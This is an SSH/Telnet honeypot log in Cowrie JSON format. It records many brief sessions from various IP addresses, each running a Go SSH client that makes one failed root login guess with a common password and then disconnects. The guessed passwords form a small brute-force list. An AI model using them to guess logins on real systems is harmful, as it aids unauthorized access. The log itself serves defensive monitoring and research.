{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:36:24.434077Z","src_ip":"46.19.67.181","session":"cbfb9e492df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40100,"dst_ip":"10.17.0.5","dst_port":22,"session":"e13ebbe519a3","protocol":"ssh","message":"New connection: 94.159.98.239:40100 (10.17.0.5:22) [session: e13ebbe519a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:16.069823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:16.626088Z","src_ip":"94.159.98.239","session":"e13ebbe519a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:16.629936Z","src_ip":"94.159.98.239","session":"e13ebbe519a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12121212a","message":"login attempt [root/12121212a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:17.896998Z","src_ip":"94.159.98.239","session":"e13ebbe519a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:19.122366Z","src_ip":"94.159.98.239","session":"e13ebbe519a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51940,"dst_ip":"159.203.135.109","dst_port":22,"session":"af0dd9f8badc","protocol":"ssh","message":"New connection: 103.149.28.157:51940 (159.203.135.109:22) [session: af0dd9f8badc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:20.156041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:20.161000Z","src_ip":"103.149.28.157","session":"af0dd9f8badc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:20.413450Z","src_ip":"103.149.28.157","session":"af0dd9f8badc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egor1999","message":"login attempt [root/egor1999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:21.175242Z","src_ip":"103.149.28.157","session":"af0dd9f8badc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:22.433526Z","src_ip":"103.149.28.157","session":"af0dd9f8badc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":32948,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f8165b11225","protocol":"ssh","message":"New connection: 103.77.175.15:32948 (159.203.135.109:22) [session: 4f8165b11225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:52.675334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:52.680852Z","src_ip":"103.77.175.15","session":"4f8165b11225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:52.934030Z","src_ip":"103.77.175.15","session":"4f8165b11225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16061987","message":"login attempt [root/16061987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:53.944650Z","src_ip":"103.77.175.15","session":"4f8165b11225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:37:55.205258Z","src_ip":"103.77.175.15","session":"4f8165b11225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54892,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf33347edf1","protocol":"telnet","message":"New connection: 180.235.129.180:54892 (10.17.0.5:23) [session: 9cf33347edf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:01.103718Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":54632,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb68f93558d","protocol":"ssh","message":"New connection: 103.27.238.114:54632 (159.203.135.109:22) [session: 3eb68f93558d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:01.232248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:01.237937Z","src_ip":"103.27.238.114","session":"3eb68f93558d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:01.520400Z","src_ip":"103.27.238.114","session":"3eb68f93558d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"000666","message":"login attempt [root/000666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:02.349835Z","src_ip":"103.27.238.114","session":"3eb68f93558d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:03.633033Z","src_ip":"103.27.238.114","session":"3eb68f93558d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.911831140518188,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:16.015417Z","src_ip":"180.235.129.180","session":"9cf33347edf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50214,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a15c172d37","protocol":"ssh","message":"New connection: 103.172.78.219:50214 (10.17.0.5:22) [session: 82a15c172d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:17.270966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:17.275677Z","src_ip":"103.172.78.219","session":"82a15c172d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:17.522496Z","src_ip":"103.172.78.219","session":"82a15c172d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3a4a5a6","message":"login attempt [root/a1a2a3a4a5a6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:18.263589Z","src_ip":"103.172.78.219","session":"82a15c172d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:19.512359Z","src_ip":"103.172.78.219","session":"82a15c172d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29764,"dst_ip":"159.203.135.109","dst_port":22,"session":"41cfe52a838a","protocol":"ssh","message":"New connection: 38.93.206.2:29764 (159.203.135.109:22) [session: 41cfe52a838a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:28.427768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:28.432943Z","src_ip":"38.93.206.2","session":"41cfe52a838a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:28.491276Z","src_ip":"38.93.206.2","session":"41cfe52a838a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12041986","message":"login attempt [root/12041986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:28.655848Z","src_ip":"38.93.206.2","session":"41cfe52a838a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:38:29.739694Z","src_ip":"38.93.206.2","session":"41cfe52a838a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":46170,"dst_ip":"159.203.135.109","dst_port":22,"session":"94a44f25a35e","protocol":"ssh","message":"New connection: 103.15.222.183:46170 (159.203.135.109:22) [session: 94a44f25a35e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:39:24.691123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:39:24.696262Z","src_ip":"103.15.222.183","session":"94a44f25a35e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:39:24.951074Z","src_ip":"103.15.222.183","session":"94a44f25a35e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qpalzm","message":"login attempt [root/qpalzm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:39:25.713959Z","src_ip":"103.15.222.183","session":"94a44f25a35e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:39:26.970857Z","src_ip":"103.15.222.183","session":"94a44f25a35e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":42500,"dst_ip":"159.203.135.109","dst_port":22,"session":"c51ad8822590","protocol":"ssh","message":"New connection: 103.82.20.28:42500 (159.203.135.109:22) [session: c51ad8822590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:40.524602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:40.529586Z","src_ip":"103.82.20.28","session":"c51ad8822590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:40.788476Z","src_ip":"103.82.20.28","session":"c51ad8822590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15051990","message":"login attempt [root/15051990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:41.566362Z","src_ip":"103.82.20.28","session":"c51ad8822590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:42.828512Z","src_ip":"103.82.20.28","session":"c51ad8822590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43414,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe474f0a84a","protocol":"ssh","message":"New connection: 194.113.233.25:43414 (159.203.135.109:22) [session: ebe474f0a84a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:40:59.187209Z"}
